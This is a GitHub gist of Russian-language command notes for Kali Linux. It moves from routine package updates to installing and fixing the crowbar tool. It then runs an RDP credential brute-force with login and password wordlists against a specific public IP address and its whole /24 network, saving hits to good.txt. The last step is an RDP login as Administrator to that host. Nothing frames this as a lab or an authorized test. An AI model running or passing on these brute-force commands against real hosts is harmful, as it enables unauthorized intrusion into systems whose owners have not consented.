Created
September 26, 2019 19:39
-
-
Save dnkls/30acef921b036f82734c244a09885f2b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Обновляем систему Kali Linux до последней версии | |
# sudo apt update && sudo apt full-upgrade -y | |
Удаление неиспользуемых программ и ядер Kali Linux | |
# sudo apt autoremove -y | |
Очистка кэша пакетов в Kali Linux | |
# sudo apt autoclean -y | |
# sudo apt clean -y | |
# apt-get update | |
# apt-get install freerdp-x11 | |
проверка работоспособности xfreerdp | |
# xfreerdp --version | |
# xfreerdp --sec nla 185.154.13.84 | |
# apt-get install openvpn freerdp-x11 vncviewer | |
# git clone https://github.com/galkan/crowbar | |
Файлу надо добавить бит исполнимости: | |
# chmod +x crowbar.py | |
Пробуем запустить "Хелп" | |
# python crowbar.py --help | |
No module named pkg_resources | |
Решение проблемы с ошибкой No module named pkg_resources | |
# yum -y update | |
# yum -y install python-pip | |
# pip install --upgrade pip | |
1. Проблема с setup tools | |
# pip install --upgrade setuptools | |
# pip install --upgrade distribute | |
Опять пробуем запустить "Хелп" | |
# python crowbar.py --help | |
Работает )) | |
Запуск скрипта питон в скрипте баш | |
# python crowbar.py -b rdp -U login.txt -C pass.txt -s 185.154.13.84/32 -o good.txt -n 100 -t 500 -v -d | |
Запуск скрипта питон в скрипте баш | |
Сканирование одной машины 185.154.13.84/32 | |
# python crowbar.py -b rdp -U login.txt -C pass.txt -s 185.154.13.84/32 -o good.txt -n 100 -t 500 -v -d | |
Сканирование сети 185.154.13.84/24 | |
# python crowbar.py -b rdp -U login.txt -C pass.txt -s 185.154.13.84/24 -o good.txt -n 100 -t 500 -v -d | |
# xfreerdp -k en-us -a 32 -x l -z -u Administrator -g 800x600 --sec rdp --plugin cliprdr 185.154.13.84 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment